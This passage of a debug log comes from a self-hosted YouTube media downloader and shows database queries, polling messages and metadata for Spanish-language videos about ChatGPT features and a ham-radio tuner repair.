(s0."id" = ?) [3] 23:10:54.911 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:10:54.912 [debug] QUERY OK source="media_items" db=0.5ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1480] 23:10:54.912 [debug] Current batch of media processed. Will check again in 1000ms 23:10:55.828 [debug] Current batch of media processed. Will check again in 1000ms 23:10:55.913 [debug] Current batch of media processed. Will check again in 1000ms 23:10:56.829 [debug] Current batch of media processed. Will check again in 1000ms 23:10:56.914 [debug] Current batch of media processed. Will check again in 1000ms 23:10:57.830 [debug] Current batch of media processed. Will check again in 1000ms 23:10:57.915 [debug] Current batch of media processed. Will check again in 1000ms 23:10:58.831 [debug] Current batch of media processed. Will check again in 1000ms 23:10:58.916 [debug] Current batch of media processed. Will check again in 1000ms 23:10:59.832 [debug] Current batch of media processed. Will check again in 1000ms 23:10:59.917 [debug] Current batch of media processed. Will check again in 1000ms 23:11:00.154 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:00.833 [debug] Current batch of media processed. Will check again in 1000ms 23:11:00.918 [debug] Current batch of media processed. Will check again in 1000ms 23:11:01.834 [debug] Current batch of media processed. Will check again in 1000ms 23:11:01.919 [debug] Current batch of media processed. Will check again in 1000ms 23:11:02.835 [debug] Current batch of media processed. Will check again in 1000ms 23:11:02.920 [debug] Current batch of media processed. Will check again in 1000ms 23:11:03.836 [debug] Current batch of media processed. Will check again in 1000ms 23:11:03.921 [debug] Current batch of media processed. Will check again in 1000ms 23:11:04.837 [debug] Current batch of media processed. Will check again in 1000ms 23:11:04.922 [debug] Current batch of media processed. Will check again in 1000ms 23:11:05.838 [debug] Current batch of media processed. Will check again in 1000ms 23:11:05.923 [debug] Current batch of media processed. Will check again in 1000ms 23:11:06.839 [debug] Current batch of media processed. Will check again in 1000ms 23:11:06.924 [debug] Current batch of media processed. Will check again in 1000ms 23:11:07.840 [debug] Current batch of media processed. Will check again in 1000ms 23:11:07.925 [debug] Current batch of media processed. Will check again in 1000ms 23:11:08.841 [debug] Current batch of media processed. Will check again in 1000ms 23:11:08.926 [debug] Current batch of media processed. Will check again in 1000ms 23:11:09.842 [debug] Current batch of media processed. Will check again in 1000ms 23:11:09.927 [debug] Current batch of media processed. Will check again in 1000ms 23:11:10.843 [debug] Current batch of media processed. Will check again in 1000ms 23:11:10.928 [debug] Current batch of media processed. Will check again in 1000ms 23:11:11.844 [debug] Current batch of media processed. Will check again in 1000ms 23:11:11.929 [debug] Current batch of media processed. Will check again in 1000ms 23:11:12.845 [debug] Current batch of media processed. Will check again in 1000ms 23:11:12.930 [debug] Current batch of media processed. Will check again in 1000ms 23:11:13.846 [debug] Current batch of media processed. Will check again in 1000ms 23:11:13.931 [debug] Current batch of media processed. Will check again in 1000ms 23:11:14.847 [debug] Current batch of media processed. Will check again in 1000ms 23:11:14.932 [debug] Current batch of media processed. Will check again in 1000ms 23:11:15.848 [debug] Current batch of media processed. Will check again in 1000ms 23:11:15.933 [debug] Current batch of media processed. Will check again in 1000ms 23:11:16.849 [debug] Current batch of media processed. Will check again in 1000ms 23:11:16.934 [debug] Current batch of media processed. Will check again in 1000ms 23:11:17.850 [debug] Current batch of media processed. Will check again in 1000ms 23:11:17.935 [debug] Current batch of media processed. Will check again in 1000ms 23:11:18.851 [debug] Current batch of media processed. Will check again in 1000ms 23:11:18.936 [debug] Current batch of media processed. Will check again in 1000ms 23:11:19.852 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 5: CHATGPT NUEVAS FUNCIONALIDADES:Descubre el modelo rápido de ChatGPT y cómo funcionan los modelos de razonamiento. En este análisis, **nosotros** exploramos ejemplos y costos asociados. ¡Aprende cómo **nuestra** tecnología interpreta y responde a tus preguntas directamente! #ChatGPT #ModelosDeRazonamiento #InteligenciaArtificial #Tecnología #AprendizajeAutomático #IAExplicada #InnovaciónTecnológica #Chatbots #ProcesamientoDelLenguajeNatural #AnálisisDeDatos", "duration" => 34, "filename" => "/downloads/music/IA mí QUÉ/¡ChatGPT al Descubierto! Traducciones Rápidas y Modelos de Razonamiento Explicados.m4a", "id" => "VSo30Vzp9B8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/VSo30Vzp9B8", "playlist_index" => 30, "timestamp" => 1746806574, "title" => "¡ChatGPT al Descubierto! Traducciones Rápidas y Modelos de Razonamiento Explicados", "upload_date" => "20250509"} 23:11:19.853 [debug] QUERY OK source="sources" db=0.6ms idle=1066.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:11:19.854 [debug] QUERY OK source="sources" db=0.4ms idle=1067.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:11:19.855 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1067.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-09 16:02:54Z], 2] 23:11:19.857 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=169.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 5: CHATGPT NUEVAS FUNCIONALIDADES:Descubre el modelo rápido de ChatGPT y cómo funcionan los modelos de razonamiento. En este análisis, **nosotros** exploramos ejemplos y costos asociados. ¡Aprende cómo **nuestra** tecnología interpreta y responde a tus preguntas directamente! #ChatGPT #ModelosDeRazonamiento #InteligenciaArtificial #Tecnología #AprendizajeAutomático #IAExplicada #InnovaciónTecnológica #Chatbots #ProcesamientoDelLenguajeNatural #AnálisisDeDatos", "¡ChatGPT al Descubierto! Traducciones Rápidas y Modelos de Razonamiento Explicados", "1077f95b-f4b7-4395-ad39-a7434fe1ae05", 34, false, "VSo30Vzp9B8", "https://www.youtube.com/shorts/VSo30Vzp9B8", 30, "/downloads/music/IA mí QUÉ/¡ChatGPT al Descubierto! Traducciones Rápidas y Modelos de Razonamiento Explicados.m4a", false, false, true, 2, [], 91, ~U[2025-05-09 16:02:54Z], ~U[2026-02-07 22:11:19Z], ~U[2026-02-07 22:11:19Z], "PARTE 5: CHATGPT NUEVAS FUNCIONALIDADES:Descubre el modelo rápido de ChatGPT y cómo funcionan los modelos de razonamiento. En este análisis, **nosotros** exploramos ejemplos y costos asociados. ¡Aprende cómo **nuestra** tecnología interpreta y responde a tus preguntas directamente! #ChatGPT #ModelosDeRazonamiento #InteligenciaArtificial #Tecnología #AprendizajeAutomático #IAExplicada #InnovaciónTecnológica #Chatbots #ProcesamientoDelLenguajeNatural #AnálisisDeDatos", "¡ChatGPT al Descubierto! Traducciones Rápidas y Modelos de Razonamiento Explicados", 34, false, "VSo30Vzp9B8", "https://www.youtube.com/shorts/VSo30Vzp9B8", "/downloads/music/IA mí QUÉ/¡ChatGPT al Descubierto! Traducciones Rápidas y Modelos de Razonamiento Explicados.m4a", true, 2, ~U[2025-05-09 16:02:54Z]] 23:11:19.857 [debug] QUERY OK source="sources" db=0.4ms idle=70.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:11:19.858 [debug] QUERY OK source="media_profiles" db=0.6ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:11:19.859 [debug] QUERY OK source="media_items" db=0.6ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1418] 23:11:19.859 [debug] Current batch of media processed. Will check again in 1000ms 23:11:19.937 [debug] Current batch of media processed. Will check again in 1000ms 23:11:20.859 [debug] Current batch of media processed. Will check again in 1000ms 23:11:20.938 [debug] Current batch of media processed. Will check again in 1000ms 23:11:21.359 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:21.860 [debug] Current batch of media processed. Will check again in 1000ms 23:11:21.939 [debug] Current batch of media processed. Will check again in 1000ms 23:11:22.861 [debug] Current batch of media processed. Will check again in 1000ms 23:11:22.940 [debug] Current batch of media processed. Will check again in 1000ms 23:11:23.862 [debug] Current batch of media processed. Will check again in 1000ms 23:11:23.941 [debug] Current batch of media processed. Will check again in 1000ms 23:11:24.863 [debug] Current batch of media processed. Will check again in 1000ms 23:11:24.942 [debug] Current batch of media processed. Will check again in 1000ms 23:11:25.864 [debug] Current batch of media processed. Will check again in 1000ms 23:11:25.943 [debug] Current batch of media processed. Will check again in 1000ms 23:11:26.865 [debug] Current batch of media processed. Will check again in 1000ms 23:11:26.944 [debug] Current batch of media processed. Will check again in 1000ms 23:11:27.866 [debug] Current batch of media processed. Will check again in 1000ms 23:11:27.945 [debug] Current batch of media processed. Will check again in 1000ms 23:11:28.867 [debug] Current batch of media processed. Will check again in 1000ms 23:11:28.946 [debug] Current batch of media processed. Will check again in 1000ms 23:11:29.868 [debug] Current batch of media processed. Will check again in 1000ms 23:11:29.947 [debug] Current batch of media processed. Will check again in 1000ms 23:11:30.869 [debug] Current batch of media processed. Will check again in 1000ms 23:11:30.948 [debug] Current batch of media processed. Will check again in 1000ms 23:11:31.870 [debug] Current batch of media processed. Will check again in 1000ms 23:11:31.949 [debug] Current batch of media processed. Will check again in 1000ms 23:11:32.871 [debug] Current batch of media processed. Will check again in 1000ms 23:11:32.950 [debug] Current batch of media processed. Will check again in 1000ms 23:11:33.872 [debug] Current batch of media processed. Will check again in 1000ms 23:11:33.951 [debug] Current batch of media processed. Will check again in 1000ms 23:11:34.873 [debug] Current batch of media processed. Will check again in 1000ms 23:11:34.952 [debug] Current batch of media processed. Will check again in 1000ms 23:11:35.874 [debug] Current batch of media processed. Will check again in 1000ms 23:11:35.953 [debug] Current batch of media processed. Will check again in 1000ms 23:11:36.875 [debug] Current batch of media processed. Will check again in 1000ms 23:11:36.954 [debug] Current batch of media processed. Will check again in 1000ms 23:11:37.876 [debug] Current batch of media processed. Will check again in 1000ms 23:11:37.955 [debug] Current batch of media processed. Will check again in 1000ms 23:11:38.877 [debug] Current batch of media processed. Will check again in 1000ms 23:11:38.956 [debug] Current batch of media processed. Will check again in 1000ms 23:11:39.878 [debug] Current batch of media processed. Will check again in 1000ms 23:11:39.957 [debug] Current batch of media processed. Will check again in 1000ms 23:11:40.879 [debug] Current batch of media processed. Will check again in 1000ms 23:11:40.958 [debug] Current batch of media processed. Will check again in 1000ms 23:11:41.880 [debug] Current batch of media processed. Will check again in 1000ms 23:11:41.959 [debug] Current batch of media processed. Will check again in 1000ms 23:11:42.881 [debug] Current batch of media processed. Will check again in 1000ms 23:11:42.960 [debug] Current batch of media processed. Will check again in 1000ms 23:11:43.882 [debug] Current batch of media processed. Will check again in 1000ms 23:11:43.961 [debug] Current batch of media processed. Will check again in 1000ms 23:11:44.883 [debug] Current batch of media processed. Will check again in 1000ms 23:11:44.962 [debug] Current batch of media processed. Will check again in 1000ms 23:11:45.884 [debug] Current batch of media processed. Will check again in 1000ms 23:11:45.963 [debug] Current batch of media processed. Will check again in 1000ms 23:11:46.885 [debug] Current batch of media processed. Will check again in 1000ms 23:11:46.964 [debug] Current batch of media processed. Will check again in 1000ms 23:11:47.886 [debug] Current batch of media processed. Will check again in 1000ms 23:11:47.965 [debug] Current batch of media processed. Will check again in 1000ms 23:11:48.887 [debug] Current batch of media processed. Will check again in 1000ms 23:11:48.966 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Un colega me ha hecho llegar un ATU100 con batería que no enciende. Os muestro en este video el proceso de reparación.\n\n#atu100 #n7ddc #radioaficionados #diyelectronics #electronicrepair #hamradio #acopladorantenas \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 466, "filename" => "/downloads/music/ea3grn/094 - UNA REPARACIÓN SIMPLE DE UN ATU100 N7DDC.m4a", "id" => "H20zi2p1t8U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=H20zi2p1t8U", "playlist_index" => 87, "timestamp" => 1665331211, "title" => "094 - UNA REPARACIÓN SIMPLE DE UN ATU100 N7DDC", "upload_date" => "20221009"} 23:11:48.967 [debug] QUERY OK source="sources" db=0.6ms idle=1180.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:11:48.968 [debug] QUERY OK source="sources" db=0.5ms idle=1181.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:11:48.969 [debug] QUERY OK source="media_items" db=0.8ms idle=1181.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-09 16:00:11Z], 3] 23:11:48.970 [debug] QUERY OK source="media_items" db=1.0ms idle=226.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un colega me ha hecho llegar un ATU100 con batería que no enciende. Os muestro en este video el proceso de reparación.\n\n#atu100 #n7ddc #radioaficionados #diyelectronics #electronicrepair #hamradio #acopladorantenas \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "094 - UNA REPARACIÓN SIMPLE DE UN ATU100 N7DDC", "753beb36-f1a7-4477-bff2-7cdd1599b4c1", 466, false, "H20zi2p1t8U", "https://www.youtube.com/watch?v=H20zi2p1t8U", 87, "/downloads/music/ea3grn/094 - UNA REPARACIÓN SIMPLE DE UN ATU100 N7DDC.m4a", false, false, false, 3, [], 98, ~U[2022-10-09 16:00:11Z], ~U[2026-02-07 22:11:48Z], ~U[2026-02-07 22:11:48Z], "Un colega me ha hecho llegar un ATU100 con batería que no enciende. Os muestro en este video el proceso de reparación.\n\n#atu100 #n7ddc #radioaficionados #diyelectronics #electronicrepair #hamradio #acopladorantenas \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "094 - UNA REPARACIÓN SIMPLE DE UN ATU100 N7DDC", 466, false, "H20zi2p1t8U", "https://www.youtube.com/watch?v=H20zi2p1t8U", "/downloads/music/ea3grn/094 - UNA REPARACIÓN SIMPLE DE UN ATU100 N7DDC.m4a", false, 3, ~U[2022-10-09 16:00:11Z]] 23:11:48.971 [debug] QUERY OK source="sources" db=0.4ms idle=184.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:11:48.972 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:11:48.973 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1482] 23:11:48.973 [debug] Current batch of media processed. Will check again in 1000ms 23:11:49.888 [debug] Current batch of media processed. Will check again in 1000ms 23:11:49.973 [debug] Current batch of media processed. Will check again in 1000ms 23:11:50.889 [debug] Current batch of media processed. Will check again in 1000ms 23:11:50.974 [debug] Current batch of media processed. Will check again in 1000ms 23:11:51.360 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:51.890 [debug] Current batch of media processed. Will check again in 1000ms 23:11:51.975 [debug] Current batch of media processed. Will check again in 1000ms 23:11:52.891 [debug] Current batch of media processed. Will check again in 1000ms 23:11:52.976 [debug] Current batch of media processed. Will check again in 1000ms 23:11:53.892 [debug] Current batch of media processed. Will check again in 1000ms 23:11:53.977 [debug] Current batch of media processed. Will check again in 1000ms 23:11:54.893 [debug] Current batch of media processed. Will check again in 1000ms 23:11:54.978 [debug] Current batch of media processed. Will check again in 1000ms 23:11:55.894 [debug] Current batch of media processed. Will check again in 1000ms 23:11:55.979 [debug] Current batch of media processed. Will check again in 1000ms 23:11:56.895 [debug] Current batch of media processed. Will check again in 1000ms 23:11:56.980 [debug] Current batch of media processed. Will check again in 1000ms 23:11:57.896 [debug] Current batch of media processed. Will check again in 1000ms 23:11:57.981 [debug] Current batch of media processed. Will check again in 1000ms 23:11:58.897 [debug] Current batch of media processed. Will check again in 1000ms 23:11:58.982 [debug] Current batch of media processed. Will check again in 1000ms 23:11:59.898 [debug] Current batch of media processed. Will check again in 1000ms 23:11:59.983 [debug] Current batch of media processed. Will check again in 1000ms 23:12:00.155 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:00.899 [debug] Current batch of media processed. Will check again in 1000ms 23:12:00.984 [debug] Current batch of media processed. Will check again in 1000ms 23:12:01.900 [debug] Current batch of media processed. Will check again in 1000ms 23:12:01.985 [debug] Current batch of media processed. Will check again in 1000ms 23:12:02.901 [debug] Current batch of media processed. Will check again in 1000ms 23:12:02.986 [debug] Current batch of media processed. Will check again in 1000ms 23:12:03.902 [debug] Current batch of media processed. Will check again in 1000ms 23:12:03.987 [debug] Current batch of media processed. Will check again in 1000ms 23:12:04.903 [debug] Current batch of media processed. Will check again in 1000ms 23:12:04.988 [debug] Current batch of media processed. Will check again in 1000ms 23:12:05.904 [debug] Current batch of media processed. Will check again in 1000ms 23:12:05.989 [debug] Current batch of media processed. Will check again in 1000ms 23:12:06.905 [debug] Current batch of media processed. Will check again in 1000ms 23:12:06.990 [debug] Current batch of media processed. Will check again in 1000ms 23:12:07.906 [debug] Current batch of media processed. Will check again in 1000ms 23:12:07.991 [debug] Current batch of media processed. Will check again in 1000ms 23:12:08.907 [debug] Current batch of media processed. Will check again in 1000ms 23:12:08.992 [debug] Current batch of media processed. Will check again in 1000ms 23:12:09.908 [debug] Current batch of media processed. Will check again in 1000ms 23:12:09.993 [debug] Current batch of media processed. Will check again in 1000ms 23:12:10.909 [debug] Current batch of media processed. Will check again in 1000ms 23:12:10.994 [debug] Current batch of media processed. Will check again in 1000ms 23:12:11.910 [debug] Current batch of media processed. Will check again in 1000ms 23:12:11.995 [debug] Current batch of media processed. Will check again in 1000ms 23:12:12.911 [debug] Current batch of media processed. Will check again in 1000ms 23:12:12.996 [debug] Current batch of media processed. Will check again in 1000ms 23:12:13.912 [debug] Current batch of media processed. Will check again in 1000ms 23:12:13.997 [debug] Current batch of media processed. Will check again in 1000ms 23:12:14.913 [debug] Current batch of media processed. Will check again in 1000ms 23:12:14.998 [debug] Current batch of media processed. Will check again in 1000ms 23:12:15.914 [debug] Current batch of media processed. Will check again in 1000ms 23:12:15.999 [debug] Current batch of media processed. Will check again in 1000ms 23:12:16.915 [debug] Current batch of media processed. Will check again in 1000ms 23:12:17.000 [debug] Current batch of media processed. Will check again in 1000ms 23:12:17.916 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 4: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las últimas recomendaciones para empresas con ChatGPT Teams y ChatGPT Pro. ¡Uso ilimitado! Exploramos planes de suscripción, nuevos agentes y la importancia de los modelos LLM. Analizamos la relación entre velocidad y razonamiento en la IA. ¡Optimiza tu negocio con IA ahora! #ChatGPT #IA #Negocios #OpenAI #LLM #ChatGPT #IA #Negocios #OpenAI #LLM #ChatGPTTeams #ChatGPTPro #InteligenciaArtificial #Tecnología #Innovación", "duration" => 40, "filename" => "/downloads/music/IA mí QUÉ/¡ChatGPT Pro Revelado! Modelos IA, Precios y Cuál Elegir Para Tu Negocio.m4a", "id" => "L7wmobgQ85M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/L7wmobgQ85M", "playlist_index" => 31, "timestamp" => 1746802837, "title" => "¡ChatGPT Pro Revelado! Modelos IA, Precios y Cuál Elegir Para Tu Negocio", "upload_date" => "20250509"} 23:12:17.917 [debug] QUERY OK source="sources" db=0.6ms idle=1130.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:12:17.918 [debug] QUERY OK source="sources" db=0.4ms idle=1131.1ms SELECT s0."id", 